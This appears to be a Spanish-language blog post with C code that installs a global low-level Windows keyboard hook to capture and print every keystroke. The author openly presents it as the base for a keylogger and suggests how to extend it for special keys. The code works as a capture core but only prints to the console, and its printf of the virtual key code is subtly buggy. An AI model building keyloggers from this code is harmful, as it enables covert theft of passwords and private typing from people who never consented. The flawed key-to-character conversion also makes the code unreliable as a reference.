Este código acontinuación usa la API SetWindowsHookEx para crear un HOOK y despues crear un procedimiento que detecta las teclas pulsadas con el bucle de mensajes de windows winapi32, este código puede ser usado hasta para la base de un keylogger, claro esta que necesitas hacer exepciones para detectar teclas o caracteres especiales (con un switch en el procedimiento basta), usa WH_KEYBOARD_LL para trabajar a "LowLevel", Sin más teoría el código.
Código:
/***********************************
* Coder: Linkgl *
* Thanks: The swash *
* Exaple for hooks WH_KEYBOARD_LL *
* (LowLevel) *
***********************************/
#include <windows.h>
#include <stdio.h>
//declaramos el hook publico
HHOOK hHook;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//llamamos a la estructura y la hacemos puntero para lParam
KBDLLHOOKSTRUCT kbHookStruct = *(KBDLLHOOKSTRUCT*)lParam;
//PKDLLHOOKSTRUCT *kbHookStruct = (PKBDLLHOOKSTRUCT *)lParam;
if(nCode < 0) //si es menor a 0 pasamos al siguiente hook
return CallNextHookEx(0, nCode, wParam, lParam);
if(wParam == WM_KEYDOWN) //Si se detecto pulsacion de tecla
printf("%s", (char *)&kbHookStruct.vkCode); //imprimimos convirtiendo a char *
return CallNextHookEx(0, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
//seteamos el hook
hHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);
//Bucle de mensajes que usamos en las winapi
while(TRUE==GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//eliminamos el hook
UnhookWindowsHookEx(hHook);
}
No hay comentarios:
Publicar un comentario